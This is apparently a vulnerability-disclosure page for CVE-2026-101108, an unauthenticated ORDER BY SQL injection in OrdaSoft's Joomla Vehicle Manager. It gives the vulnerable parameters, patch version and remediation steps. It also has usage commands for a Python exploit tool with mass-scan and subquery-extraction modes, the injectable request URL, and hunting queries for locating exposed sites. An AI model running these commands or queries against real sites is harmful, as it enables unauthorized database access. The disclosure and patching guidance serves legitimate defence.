CVE-2026-101108 — OrdaSoft Joomla Vehicle Manager (Free) Unauthenticated SQL Injection
September 29, 2026 · 801 views
OrdaSoft Vehicle Manager (Free) for Joomla ≤ 6.5.7: unauthenticated SQL injection (CWE-89) via order_field and order_direction concatenated into unquoted ORDER BY in site/vehiclemanager.php (com_vehiclemanager). Escaping is ineffective for sort keys. Public category, search, and all-vehicles views. Fixed in 6.5.8+. CVSS 4.0 9.3 Critical. Python PoC: check, error-based exploit, mass -j.
Description
Overview
CVE-2026-101108 affects OrdaSoft Vehicle Manager (Free) for Joomla — extension ≤ 6.5.7. Fixed in 6.5.8+.
| | |
|---|---|
| Component | com_vehiclemanager |
| File | site/vehiclemanager.php |
| Parameters | order_field, order_direction → ORDER BY (unquoted) |
| Auth | None (public category / search / all-vehicles views) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Critical (Joomla CNA) |
| Credit | Ala Arfaoui (CNA) |
Why escaping fails: Input may pass through escapers meant for string literals, but ORDER BY sort keys are concatenated as SQL structure — not quoted strings. Attackers supply expressions (e.g. error-based subqueries) instead of column names. The CNA documents this escape bypass pattern for CVE-2026-101108.
Affected anonymous frontend entry points:
- Category listing (
showCategory) - Search (
search/ related tasks) - All-vehicles listing (
showVehiclesand similar)
PoC page: https://pocbit.org/pocs/cve-2026-101108
GitHub: murrez/CVE-2026-101108
Bundled tool (Python 3)
Download poc.py from this page (View exploit code).
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --vector order_direction_get
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 15 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Mode | Behavior |
|------|----------|
| check | Fingerprint com_vehiclemanager, manifest version, catid / Itemid, SQLi proof; --aggressive tries SELECT VERSION() |
| exploit | Error-based EXTRACTVALUE-style double query via ORDER BY |
| Mass | --list + -j → hits.txt, exploited.txt |
Exploit vectors (first successful wins): order_field GET, order_direction GET (asc,<subquery>), order_field POST, order_direction POST. Force one with --vector.
Example HTTP surface
GET /index.php?option=com_vehiclemanager&task=showCategory&catid=1&order_field=<payload>&order_direction=asc
Search baseline (built by PoC):
GET /index.php?option=com_vehiclemanager&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all
Version detection
/administrator/components/com_vehiclemanager/vehiclemanager.xml
Version ≤ 6.5.7 → likely vulnerable. ≥ 6.5.8 → patched.
OrdaSoft batch context (Sep 2026)
Same disclosure window as Real Estate Manager (CVE-2026-100752 / CVE-2026-100753). Patch all OrdaSoft Joomla extensions you run.
| CVE | Product | Issue | Fixed | |-----|---------|-------|-------| | CVE-2026-101108 | Vehicle Manager (Free) | Unauth ORDER BY SQLi | 6.5.8 | | CVE-2026-100752 | Real Estate Manager | Unauth ORDER BY SQLi | 6.7.9 |
Hunting (examples)
body="option=com_vehiclemanager"
body="/components/com_vehiclemanager/" && body="Joomla"
title="Vehicle" && body="com_vehiclemanager"
body="ordasoft" && body="vehiclemanager"
Remediation
- Upgrade to Vehicle Manager 6.5.8+.
- Inventory other OrdaSoft components on the same Joomla site.
- Restrict or monitor
com_vehiclemanagersort parameters until patched.
Legal and ethical use
Authorized security testing and patch validation only.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- JoomlaCVE-2026-101110critical
CVE-2026-101110 — OrdaSoft Joomla Book Library (Free) Unauthenticated SQL Injection
OrdaSoft Book Library (Free) for Joomla ≤ 6.4.6: unauthenticated SQL injection (CWE-89) in books() via field/direction sort params — weak select substring blacklist + protectInjectionWithoutQuote, unquoted ORDER BY, session prime + `-- xselect` bypass (com_booklibrary). Fixed in 6.4.7+. CVSS 4.0 9.3 Critical. Python PoC: check, exploit, mass -j.
- JoomlaCVE-2026-76570critical
CVE-2026-76570 — Joomla JCTables (com_jctables) Unauthenticated SQL Read/Write via JSON API
Joomcode JCTables 1.0.0–1.20.0: unauthenticated front-end JSON tasks (getdatarow, getrow) concatenate table/column names into SQL with broken escaping — arbitrary DB read/write (CWE-89/CWE-862). CVSS 4.0 10.0 Critical (AT:N). Fixed in 1.21.1+. Python PoC proves user row read (POCBIT-76570-OK); check + exploit + mass -j.
- JoomlaCVE-2026-102428critical
CVE-2026-102428 — OrdaSoft Joomla CCK (com_os_cck) Unauthenticated ORDER BY SQLi
OrdaSoft OS CCK com_os_cck 1.0.0–8.3.15: public listing sort order_field/order_direction appended to SQL ORDER BY without column allow-list (CWE-89). Unauth error-based extract, check + mass exploit. CVSS 4.0 9.3 Critical. Fixed 8.3.16+ (same as CVE-2026-102427). Marker POCBIT-102428-OK.
- JoomlaCVE-2026-100752high
CVE-2026-100752 — OrdaSoft Joomla Real Estate Manager (Free) Unauthenticated SQL Injection
OrdaSoft Real Estate Manager (Free) for Joomla ≤ 6.7.8: unauthenticated SQL injection (CWE-89) via order_field concatenated into ORDER BY in site/realestatemanager.php (com_realestatemanager). Public category, search, and listing views — no auth. Fixed in 6.7.9+. Python PoC: fingerprint, check, error-based exploit, mass -j; legacy order_direction POST fallback.